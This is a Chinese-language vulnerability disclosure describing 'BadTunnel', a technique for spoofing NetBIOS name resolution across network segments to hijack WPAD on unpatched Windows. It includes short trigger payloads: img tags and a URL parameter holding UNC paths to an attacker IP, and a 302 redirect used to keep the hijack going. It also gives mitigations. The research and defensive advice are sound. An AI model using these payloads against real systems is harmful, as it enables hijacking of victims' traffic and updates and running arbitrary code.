本文提出了一种新的攻击模型,可以跨网段劫持 TCP/IP 广播协议,我们把它命名为“ BadTunnel ”。
利用这种方法,可以实现跨网段的 NetBIOS Name Service Spoofing 攻击。无论攻击者和用户是否在同一网段,甚至中间存在防火墙或 NAT ,只要用户打开 IE 或 Edge 浏览器访问一个恶意页面,或打开一个特殊构造的 Office 文档,攻击者就可以劫持用户系统对任意 NetBIOS 名称的解析,从而实现仿冒本地网络的打印服务器、文件服务器等。
通过劫持“ WPAD ”名称,还可以进一步实现劫持用户的所有网络通信,包括一般网络访问,和 Windows Update service 以及 Microsoft Crypto API 更新 Certificate revocation list 的通信等。而一旦能劫持网络通信,配合类似 Evilgrade 的工具(参考链接 [1] ),也很容易在系统上运行任意程序。
这种方法对没有安装 2016 年 6 月补丁的所有版本 Windows 都有效。可以通过所有版本的 IE 和 Edge 、所有版本的 MS Office 、以及大量第三方软件触发。事实上只要存在能嵌入 file URI scheme 或 UNC path 的地方,就可以触发 BadTunnel 攻击 。如果在一个快捷方式中将图标路径设置为恶意 file URI scheme 或 UNC path ,只要用户在资源管理器看见这个快捷方式,就会触发 BadTunnel 攻击。所以 BadTunnel 可以通过网页、邮件、 U 盘等多种手段进行利用。甚至还可能威胁 WEB 服务器和 SQL 服务器等(参考链接 [2] )。
(本文并未包含 BadTunnel 相关研究的所有内容,其余部分将在 BlackHat US 2016 的演讲“ BadTunnel: How do I get Big Brother power? ”中发布。)
NetBIOS 是一套古老的协议。 1987 年 IETF 发布 RFC 1001 与 RFC 1002 ,定义了 NetBIOS over TCP/IP ,简称 NBT 。 NetBIOS 包含三种服务,其中之一是名称服务( Name service ),即 NetBIOS-NS ,简称 NBNS 。 NBNS 可以通过发送局域网内广播来实现本地名称解析。
当你试图访问 //Tencent/XuanwuLab/tk.txt 时, NBNS 会向广播地址发出 NBNSNB query :
谁是“ Tencent ”?
而本地局域网内的任何主机都可以回应:
192.168.2.9 是“ Tencent ”。
然后你的电脑就会接受这个回应,然后去访问 //192.168.2.9/XuanwuLab/tk.txt 。
这套机制谈不上安全,但由于发生在局域网内,而局域网通常被认为是相对可信的环境。所以虽然很早就有人意识到可以在局域网内假冒任意主机,但这并不被认为是漏洞——就像 ARP Spoofing 并不被认为是漏洞一样。
WPAD ( Web Proxy Auto-Discovery Protocol )是另一套有超过二十年历史的古老协议,用于自动发现和配置系统的代理服务器。几乎所有操作系统都支持 WPAD ,但只有 Windows 系统默认启用这个协议。按照 WPAD 协议,系统会试图访问 http://WPAD/wpad.dat ,以获取代理配置脚本。
在 Windows 上,对“ WPAD ”这个名称的请求很自然会由 NBNS 来处理。而如前所述,在局域网内,任何主机都可以声称自己是“ WPAD ”。所以,这套机制也谈不上安全,但由于同样发生在局域网内,而局域网通常被认为是相对可信的环境,所以虽然十几年前就有人意识到可以在局域网内利用 WPAD 劫持假冒任意主机, 2012 年被发现的 Flame 蠕虫也使用了这种攻击方式,但这并不被认为是漏洞——就像 ARP Spoofing 并不被认为是漏洞一样。
接下来还得再提一下 TCP/IP 协议。 NBNS 是用 UDP 实现的。 UDP 协议最主要的特点是无会话。无论是防火墙、 NAT 还是任何其它网络设备,都无法分辨一个 UDP 包属于哪个会话。只要网络设备允许 IP1:Port1->IP2:Port2 ,就必然同时允许 IP2:Port2->IP1:Port1 。
刚才我们说过 NBNS 使用广播协议,通过向本地广播地址发送查询来实现名称解析。但 NBNS 和绝大多数使用广播协议的应用一样,并不会拒绝来自本网段之外的回应。也就是说,如果 192.168.2.2 向 192.168.2.255 发送了一个请求,而 10.10.10.10 及时返回了一个回应,也会被 192.168.2.2 接受。在某些企业网络里,这个特性是网络结构所需要的。
所以,假如我们能在 NBNS 发出名称解析请求的时候,从本网段之外返回一个回应,也同样会被 NBNS 接受,就可以实现跨网段 NBNS Spoofing 。但存在几个问题:
1 、大多数主机都开启了防火墙,从本地网络之外主动向系统发送数据似乎是不可能的。即使不考虑防火墙,从互联网上主动向一个局域网 IP 发送数据似乎更是不可能的。也就是说只能对有公网 IP 又没有防火墙的系统进行 NBNS Spoofing ?
2 、 NBNS 协议内部封装的几乎就是 DNS 报文,所以也有 Transaction ID 。只有 Transaction ID 匹配的回应包才会被接受。这个问题如何解决?
3 、本地网络之外的主机接收不到 NBNS NB query 广播,又怎么知道该在什么时候发出 NBNS Spoofing 数据包?
幸运的是,这些问题都可以解决。
首先, Windows 系统的 NBNS 使用且只使用 137/UDP 端口。“使用且只使用”的意思是:系统发起的 NBNS 通信,源端口和目标端口都永远是 137/UDP 。也就是说,如果一台内网的主机 192.168.2.2 向 10.10.10.10 发起 NBNS 查询请求,大概会是这样:
192.168.2.2:137 -> NAT:54231 -> 10.10.10.10:137
而 10.10.10.10 返回查询结果时会是这样:
192.168.2.2:137 <- NAT:54231 <- 10.10.10.10:137
也就是说,无论 192.168.2.2 的本机防火墙,还是 NAT ,还是中间的任何其它网络设备,只要允许查询请求发出,并允许查询结果返回,就至少需要在一段时间内,允许 10.10.10.10:137 发出任何 UDP 包到 192.168.2.2:137 。这其实就开启了一条双向 UDP 隧道。 BadTunnel ,指的就是这个 Tunnel :
192.168.2.2:137 <-> NAT:54231<-> 10.10.10.10:137
有个简单的实验可以帮助你理解这个隧道。准备两台开启了防火墙的系统, IP 地址分别是 192.168.2.2 和 192.168.3.3 :
首先在 192.168.2.2 上执行“ nbtstat -A 192.168.3.3 ”,会失败。
然后再 192.168.3.3 上执行“ nbtstat -A 192.168.2.2 ”,会成功。
再次在 192.168.2.2 上执行“nbtstat -A 192.168.3.3
”,会成功。
那么怎么让 192.168.2.2 向 10.10.10.10 发出 NBNS 请求呢?当 Windows 系统试图访问一个带有 IP 地址的 file URI scheme 或 UNC path 时,如果目标 IP 地址的 139 、 445 端口不可访问(超时或收到 TCP 重置报文),系统会再向该 IP 地址发送 NBNS NBSTAT query 查询。而让系统访问 file URI scheme 或 UNC path 的途径太多了。
无论是 Edge 浏览器还是 IE ,都会试图解析页面中的 fileURI scheme 或 UNC path :
<img src=”//10.10.10.10/BadTunnel”>
所有类型的 MS Office 文档都可以嵌入 file URI scheme 或 UNC path 。还有很多第三方软件的文件格式也都可以。
特别是如果我们将任何快捷方式的图标设置为一个 UNC path ,只要这个快捷方式显示在屏幕上,系统就会试图访问 UNC path 。
而如果目标是一台 Web 服务器,可能只需一个 HTTP 请求:
http://web.server/reader.aspx?ID=//10.10.10.10/BadTunnel
至于 TransactionID , NBNS 的 Transaction ID 并不是随机的,而是递增的。前面提到, NBNS 解析名称时,会发出 NBNS NB query ;而系统访问 file URI scheme 或 UNC path 失败时,会发出 NBNS NBSTAT query 。 NBNS NB query 和 NBNS NBSTAT query 除了都使用且只使用 137/UDP 外,它们还共享同一个 Transaction ID 计数器。也就是说,当 192.168.2.2 访问 //10.10.10.10/BadTunnel 失败,向 10.10.10.10 发出的 NBNS NBSTAT query 不但打开了一条双向 UDP 隧道,还将系统的 Transaction ID 计数器当前值告诉了 10.10.10.10 。
也就是说,一个 NBNS NBSTAT query 同时解决了第一个问题和第二个问题。而第三个问题就更容易解决了。我们既然能在网页中嵌入 <img src=”//10.10.10.10/BadTunnel”> ,当然也可以同时嵌入:
<img src=”http://WPAD/wpad.dat”>
这样,我们可以控制对“ WPAD ”的 NBNS NBquery 的发出时间。也就可以及时返回伪造的回应。最终系统会将我们伪造的 http://WPAD/wpad.dat 存入 WEB 缓存。之后当系统真正试图获取并解析 http://WPAD/wpad.dat 来设置代理服务器时,会使用 WEB 缓存中的这个。而至少对 Windows 7 来说,伪造的 http://WPAD/wpad.dat 会像其它被缓存的 WEB 资源一样,即使关机重启动,仍然有效。
即使不考虑 WEB 缓存, NBNS 也有自己的缓存机制。只要成功实现一次 NBNS Spoofing ,伪造的结果会被 NBNS 缓存 10 分钟:
此后 10 分钟内系统本身也会试图去解析“ WPAD ”进而访问 http://WPAD/wpad.dat 来设置代理,但获得的将会是缓存中这个伪造的结果。而攻击者在一旦通过 WPAD 劫持到用户的流量,可以定时对某些 HTTP 请求返回 302 重定向,实现循环 BadTunnel 攻击,保持劫持状态:
HTTP/1.1 302 Found
Content-Type: text/html
Location: file://10.10.10.10/BadTunnel
Content-Length: 0
本文所描述的 BadTunnel 攻击,是一个严重的安全问题。但当我们试图寻找问题根源时,却发现这并不容易。 BadTunnel 攻击能得以实现,至少依赖于以下这些特性:
1、 UDP 协议无会话;
2、 广播请求可接受网段外回应。
3、 Windows 默认开启 WPAD 。
4、 Windows 文件处理 API 默认支持 UNC path 。
5、 Windows 访问 UNC path 时,连接 139 和 445 端口失败后会发起 NBNS NBSTAT query 。
6、 NBNS 无论作为服务端还是客户端,都使用同一个端口号。
7、 NBNS Transaction ID 递增而不是随机。
8、 NBNS NBSTAT query 和 NBNS NB query 共享同一个计数器。
9、 系统在实现 WPAD 时也使用 WEB 缓存机制和 NBNS 缓存机制。
以上所有设计特性,单独来看,几乎都没问题,甚至是必需的。我们当然不能认为 UDP 协议无会话是个漏洞。即使 NBNS Transaction ID 非随机这一点,也很难说是安全问题。因为 NBNS NB 这套机制原本设计用于内网, NBNS NB query 以广播包形式发出,内网任何机器都能收到。但是,所有这些单独看起来都没问题的特性,在协同工作时,就形成了一个巨大的安全问题。那么,我们应该如何去发现下一个 BadTunnel?
即使不能及时安装 MS16-063 和 MS16-077 补丁,也有一些其它方法可以阻止 BadTunnel 攻击。
对企业来说,可以在边界防火墙上关闭内部网络和互联网之间的 137/UDP 通信。
对无需访问 Windows 网络共享服务的个人用户来说,可以考虑禁用 NetBIOS over TCP/IP :
对兼容性影响最小的方式可能是在 %SystemRoot%/System32/drivers/etc/hosts 中添加固定的 WPAD 解析,或关闭自动检查代理配置,来防止“ WPAD ”这个名称被劫持:
不过要注意的是,这样并不能阻止对其它名称的劫持。而 BadTunnel ,不只是 WPAD 。
利用 BadTunnel 劫持 WPAD 可能是历史上影响范围最广、触发途径最多的 Windows 漏洞,更可能是绝无仅有的写一个 Exploit 即可攻击所有版本 Windows 的漏洞。而实际上还可能更有趣。
MAC OS 系统也实现了 NBNS ,并在某些场合支持 UNC path ,理论上也可以手工开启 WPAD ,但由于 MAC OS 的 NBNS 实现细节和 Windows 有所不同,并且系统自身默认使用 mDNS 而不是 NBNS 去解析名称,所以这个问题并不影响 MAC OS ——要不然就太酷了。
[1] Evilgradehttps://github.com/infobyte/evilgrade/
[2] 10Places to Stick Your UNC Pathhttps://blog.netspi.com/10-places-to-stick-your-unc-path/
[3] WebProxy Auto-Discovery Protocolhttp://tools.ietf.org/html/draft-ietf-wrec-wpad-01
[4] NetBIOS Over TCP/IPhttps://technet.microsoft.com/en-us/library/cc940063.aspx
[5] Disable WINS/NetBT name resolutionhttps://technet.microsoft.com/en-us/library/cc782733(v=ws.10).aspx
[6] MS99-054, CVE-1999-0858https://technet.microsoft.com/en-us/library/security/ms99-054.aspx
[7] MS09-008, CVE-2009-0093, CVE-2009-0094https://technet.microsoft.com/en-us/library/security/ms09-008.aspx
[8] MS12-074, CVE-2012-4776https://technet.microsoft.com/en-us/library/security/ms12-074.aspx
[9] MS16-063,CVE-2016-3213https://technet.microsoft.com/en-us/library/security/ms16-063.aspx
[10] MS16-077,CVE-2016-3213, CVE-2016-3236https://technet.microsoft.com/en-us/library/security/ms16-077.aspx